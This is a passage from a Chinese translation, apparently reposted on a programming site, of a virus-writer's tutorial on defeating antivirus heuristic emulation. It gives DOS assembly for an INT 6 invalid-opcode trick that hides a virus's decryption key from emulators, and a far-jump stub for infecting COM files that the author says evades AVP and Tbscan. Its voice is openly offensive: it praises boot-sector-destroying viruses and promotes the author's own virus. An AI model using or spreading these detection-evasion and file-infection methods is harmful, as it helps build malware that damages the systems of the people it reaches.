欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  数据库

对抗启发式代码仿真检测技术分析(4)_MySQL

程序员文章站 2024-01-27 14:05:04
...
bitsCN.com  这是非常有效的一种手段,在我的测试中仅F-PORT v2.27 /PARANOID 能检测出了它,尽管它只能运行在intel的CPU上。在Cyrix 或者 AMD 处理器上是不能使用这中方法的。因此你virus如果运行则将崩溃。:- (如果你想看一下的病毒情况,你可以查找我写 PR.H! virus)
  4 通过INT 6 的手段:
  cpu 如果发现无效指令运行则int 6h 中断总是会被调用的。这个方法非常相似于INT 1 中断的手段。我们设置一个INT 6h中断的handler,然后执行一个条我们故意使用的无效指令,同时返回解密密钥。如果我们不想陷入无穷尽的循环当中,就要修改返回时的偏移。
  
mov ax, 3506h ;get int vector 6, so we can restore it later
  int 21h ;not really necessary, but a little bit saver
  mov int6_segm, es
  mov int6_offs, bx
  mov ax, 2506h ;set int vector 6 to our own routine
  mov dx, offset int6_handler
  int 21h
  dw 0FFFFh ;an invalid opcode, will call our int 6
  mov decrypt_key, ax ;handler, which returns the decryption key
  mov ax, 2506h ;restore the original int 6 handler
  mov dx, cs:int6_offs
  mov ds, cs:int6_segm
  int 21h
  [...]
  int6_handler:
  mov ax, key
  mov bx, sp
  add word ptr ss:[bx], 2 ;modify return address - very important!
  ;2 is the size of our invalid opcode.
  iret  请记住,这一方式并不能工作在window系统下的dos窗口程序中,因为window会率先截获一个无效的opcode,并给出错误消息(thanks to Z0MBiE for that tip)。所以如果你想使你的DOS virus兼容window,那么不要用此方法,尽管破坏引导区的virus实在是很美妙的。
  5 感染COM文件及FAR JUMP方式:
  我不喜欢delta offsets方式,所有我开始尝试用far jump方式来感染com文件(当然,还是要加上些代码用来重定位的):
  
mov ax, cs ;Relocate far Jump
  add [offset com_seg], ax
  JMP SHORT $+2 ;Clear prefetch queue
  db 0EAh ;OP-Code far Jump
  dw offset start ;Offset
  com_seg dw 0 ;Segment (length of com file in paragraphs)
  ;pad filesize to even paragraph!  这段代码可以非常稳定地运行,我很惊讶,这种感染方式可以阻止AVP和Tbscan的来发现文件已被感染的检测方式。如果想看全部的virus欺骗技巧,再一次提醒您,可以查找我写 PR.H!- virus。
  6 初始化寄存器方bitsCN.com